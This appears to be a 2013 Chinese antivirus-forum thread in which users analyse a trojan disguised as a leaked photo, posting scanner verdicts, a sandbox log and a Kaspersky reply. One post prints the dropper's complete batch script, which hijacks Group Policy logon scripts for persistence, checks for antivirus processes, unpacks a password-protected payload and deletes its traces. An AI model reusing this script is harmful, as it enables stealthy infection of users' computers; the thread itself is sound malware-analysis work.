可疑文件 J花门

显示全部楼层 · 发表于 2013-2-1 12:17:22

本帖最后由 zyx9 于 2013-2-1 14:44 编辑

最近网上某J花XX照中附带可疑文件一枚

VT 6 / 46 https://www.virustotal.com/file/ ... nalysis/1359691854/
火眼 http://fireeye.ijinshan.com/anal ... bb32f04b&type=1
comodo http://camas.comodo.com/cgi-bin/ ... c0aa85697b78c7f340d

显示全部楼层 · 发表于 2013-2-1 12:20:20

显示全部楼层 · 发表于 2013-2-1 12:23:46

微点秒杀。

显示全部楼层 · 发表于 2013-2-1 12:45:40

完整路径: 不可用
威胁: SONAR.Heuristic
____________________________
____________________________

在电脑上的创建时间
不可用

上次使用时间
( )

启动项目
否

已启动
是

____________________________
____________________________
未知
诺顿社区中使用此文件的用户数量: 未知
____________________________
未知
此文件版本当前未知。
____________________________
高
此文件具有高风险。
____________________________
威胁详细信息
SONAR 主动防护监视电脑上的可疑程序活动。
____________________________

file origin tree



____________________________
文件操作
serubzha.exe
不需要操作
____________________________
网络操作
未采取操作
____________________________
系统设置操作
未采取操作
serubzha.exe
未采取操作

平均资源使用率:
未知

平均CPU 使用率:
未知

平均内存使用率:
未知

____________________________
文件指纹 - SHA:
不可用
____________________________
文件指纹 - MD5:
不可用
____________________________

显示全部楼层 · 发表于 2013-2-1 12:52:36

数字 qvm 06

显示全部楼层 · 发表于 2013-2-1 13:05:49

本帖最后由 sanhu35 于 2013-2-1 13:15 编辑

2013/2/1 13:04:28 创建新进程允许
进程: c:\windows\explorer.exe
目标: c:\users\sanhu35\desktop\1.exe
命令行: "C:\Users\sanhu35\Desktop\1.exe"
规则: [应用程序]c:\windows\explorer.exe

2013/2/1 13:04:28 修改文件阻止
进程: c:\users\sanhu35\desktop\1.exe
目标: \Device\NamedPipe\{A4A8723A-44EA-465e-A48F-1A700FC991C7}
规则: [文件组]命令管道 -> [文件]\device\namedpipe\*

2013/2/1 13:04:32 创建新进程允许
进程: c:\users\sanhu35\desktop\1.exe
目标: c:\windows\temp\360上网保镖.exe
命令行: "C:\Windows\temp\360上网保镖.exe"
规则: [应用程序]*

2013/2/1 13:04:32 创建新进程阻止
进程: c:\windows\temp\360上网保镖.exe
目标: c:\windows\system32\reg.exe
命令行: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PendingFileRenameOperations2" /t "REG_MULTI_SZ" /d "\??\c:\WINDOWS\mui0\0\??%c:\WINDOWS\mui\0\??\c:\WINDOWS\mui\scripts.ini\0\??\c:\WINDOWS\system32\GroupPolicy\user\Scripts\scr
规则: [应用程序]* -> [子应用程序]『禁运』黑名单

2013/2/1 13:04:32 创建新进程阻止
进程: c:\windows\temp\360上网保镖.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd /c C:\Windows\temp\s1.bat
规则: [应用程序]* -> [子应用程序]『禁运』黑名单

bat内容：

if exist %windir%\Media\error.s8 goto over
move we.bat %windir%\Media\s1.bat
move sas.gif %windir%\Media\sas.gif
move sas.exe %windir%\Media\sas.exe
move we.dll %windir%\Media\Seext.dll
move 360上网保镖.exe %windir%\Media\360上网保镖.exe
setlocal enabledelayedexpansion
set "svar=abcdefghijklmnopqrstuvwxyz"
set "rvar="
set num=5
set sd=360tray
:loop
set /a num-=1
set /a rand=%random%%%26
set "rvar=%rvar%!svar:~%rand%,1!"
if not %num%==0 goto loop
set di=%systemroot%\system32\GroupPolicy\user\Scripts
echo !rvar! > %windir%\Media\error.s8
md %di%\Startup
md %di%\Shutdown
md %windir%\mui
attrib %windir%\system32\GroupPolicy\*.* -r -s -h /s /d
del %windir%\System32\GroupPolicy\gpt.ini
ren %windir%\system32\GroupPolicy\Machine\Registry.pol %windir%\system32\GroupPolicy\Machine\Registry.txt
set qs=%systemroot%\system32\GroupPolicy
>%qs%\gpt.ini echo [General]
>>%qs%\gpt.ini echo gPCFunctionalityVersion=2
>>%qs%\gpt.ini echo gPCUserExtensionNames=[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B66650-4972-11D1-A7CA-0000F87571E3}]
>>%qs%\gpt.ini echo Version=65536
>scripts.ini echo [Logon]
>>scripts.ini echo 0CmdLine=%windir%\Media\360上网保镖.exe
move scripts.ini %windir%\Media\scripts.ini
copy %windir%\Media\scripts.ini %windir%\mui\scripts.ini
del /f /s /q %di%\scripts.ini
tasklist|findstr /i "ravmond.exe %sd%.exe kxetray.exe "
if errorlevel 1 (goto 360) else (goto ris)
:360
%windir%\Media\sas.exe e -o+ -p1234qwer %windir%\Media\sas.gif
type %windir%\Media\error.s8>>woti.dat
type %windir%\Media\error.s8>>my.dat
move woti.dat %windir%\mui\ser!rvar!.chm
start %windir%\system32\rundll32.exe %windir%\mui\ser!rvar!.chm,Launch
move my.dat %windir%\mui\ser!rvar!.exe
start %windir%\mui\ser!rvar!.exe
del Seext.dll
del %0
exit
:ris
del Seext.dll
del %0
exit
:over
del Seext.dll
del we.dll
del 360上网保镖.exe
del sas.exe
del sas.gif
del we.bat
del %0
exit

复制代码

将下图的转移到C:\Windows\Media

衍生物：

显示全部楼层 · 发表于 2013-2-1 13:25:47

趋势miss

显示全部楼层 · 发表于 2013-2-1 13:32:47

过BD扫描，双击拦截。

显示全部楼层 · 发表于 2013-2-1 15:17:04

Hello,

Trojan.Win32.Agentb.hxy

New malicious software was found in the attached file. Its detection will be included in the next update.
Thank you for your help.

Regards, Ye Jin
Junior Virus Analyst, Kaspersky Lab.

显示全部楼层 · 发表于 2013-2-1 19:17:44

沙箱运行

[可疑文件] 可疑文件 J花门

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源